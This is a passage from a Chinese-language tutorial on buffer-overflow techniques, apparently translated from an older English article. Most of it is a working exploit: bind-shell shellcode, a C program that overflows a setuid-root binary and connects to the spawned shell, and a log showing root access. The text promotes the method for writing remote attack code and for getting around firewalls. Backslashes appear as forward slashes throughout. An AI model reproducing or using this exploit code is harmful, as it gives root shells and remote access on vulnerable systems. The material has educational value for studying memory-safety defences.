"/x89/xf1" /* movl %esi,%ecx */
"/xb0/x02" /* movb $0x2,%al */
"/x89/x06" /* movl %eax,(%esi) */
"/xb0/x01" /* movb $0x1,%al */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/xb0/x06" /* movb $0x6,%al */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x01" /* movb $0x1,%bl */
"/xcd/x80" /* int $0x80 */
"/x89/x06" /* movl %eax,(%esi) */
"/xb0/x02" /* movb $0x2,%al */
"/x66/x89/x46/x0c" /* movw %ax,0xc(%esi) */
"/xb0/x77" /* movb $0x77,%al */
"/x66/x89/x46/x0e" /* movw %ax,0xe(%esi) */
"/x8d/x46/x0c" /* leal 0xc(%esi),%eax */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x46/x10" /* movl %eax,0x10(%esi) */
"/xb0/x10" /* movb $0x10,%al */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x02" /* movb $0x2,%bl */
"/xcd/x80" /* int $0x80 */
"/xeb/x04" /* jmp 0x4 */
"/xeb/x55" /* jmp 0x55 */
"/xeb/x5b" /* jmp 0x5b */
"/xb0/x01" /* movb $0x1,%al */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x04" /* movb $0x4,%bl */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x05" /* movb $0x5,%bl */
"/xcd/x80" /* int $0x80 */
"/x88/xc3" /* movb %al,%bl */
"/xb0/x3f" /* movb $0x3f,%al */
"/x31/xc9" /* xorl %ecx,%ecx */
"/xcd/x80" /* int $0x80 */
"/xb0/x3f" /* movb $0x3f,%al */
"/xb1/x01" /* movb $0x1,%cl */
"/xcd/x80" /* int $0x80 */
"/xb0/x3f" /* movb $0x3f,%al */
"/xb1/x02" /* movb $0x2,%cl */
"/xcd/x80" /* int $0x80 */
"/xb8/x2f/x62/x69/x6e" /* movl $0x6e69622f,%eax */
"/x89/x06" /* movl %eax,(%esi) */
"/xb8/x2f/x73/x68/x2f" /* movl $0x2f68732f,%eax */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %al,0x7(%esi) */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/xb0/x01" /* movb $0x1,%al */
"/x31/xdb" /* xorl %ebx,%ebx */
"/xcd/x80" /* int $0x80 */
"/xe8/x5b/xff/xff/xff"; /* call -0xa5 */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
long getip(char *name)
{
struct hostent *hp;
long ip;
if((ip=inet_addr(name))==-1)
{
if((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,"Can't resolve host./n");
exit(0);
}
memcpy(&ip,(hp->h_addr),4);
}
return ip;
}
int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}
int connect_sh(long ip)
{
int sockfd,i;
struct sockaddr_in sin;
printf("Connect to the shell/n");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
sin.sin_addr.s_addr=ip;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can't create socket/n");
exit(0);
}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf("Can't connect to the shell/n");
exit(0);
}
return sockfd;
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
int sockfd;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]='/0';
printf("Jump to 0x%08x/n",addr);
if(fork()==0)
{
execl("./vulnerable4","vulnerable4",buff,0);
exit(0);
}
sleep(5);
sockfd=connect_sh(getip("127.0.0.1"));
exec_sh(sockfd);
}
----------------------------------------------------------------------------
运行结果
----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ ls -l vulnerable4
-rwsr-xr-x 1 root root 4091 Oct 18 20:21 vulnerable4*
[ user@hosts ~ ] {2} $ ls -l exploit4
-rwxr-xr-x 1 ohhara cse 7973 Oct 18 20:25 exploit4*
[ user@hosts ~ ] {3} $ ./exploit4
Jump to 0xbfffec64
Connect to the shell
Can't connect to the shell
[ user@hosts ~ ] {4} $ ./exploit4 500
Jump to 0xbfffea70
Connect to the shell
whoami
root
----------------------------------------------------------------------------
6.5 技巧用途
可用该技术来编写各种各样的远程攻击代码。如果被攻击的主机是在防火墙后的,你可
以在一个未过滤的端口打开一个套接字。这在你使用缓冲溢出来攻击一个rpc服务的
时候是非常之有效的。
7. 总结
本文介绍了4种缓冲溢出的攻击技巧。它们是:绕过过滤器限制,改变UID为0,突破
chroot,和建立套接字连接。这些技巧在编写缓冲溢出攻击代码时非常有帮助。另外这
些技巧也可以组合起来运用。所有程序员在开发setuid root程序和服务程序的时候都
应该特别小心!!!!!!!!!
8. 参考文献
Smashing The Stack For Fun And Profit by Aleph1
wu-ftpd remote exploit code by duke
ADMmountd remote exploit code by ADM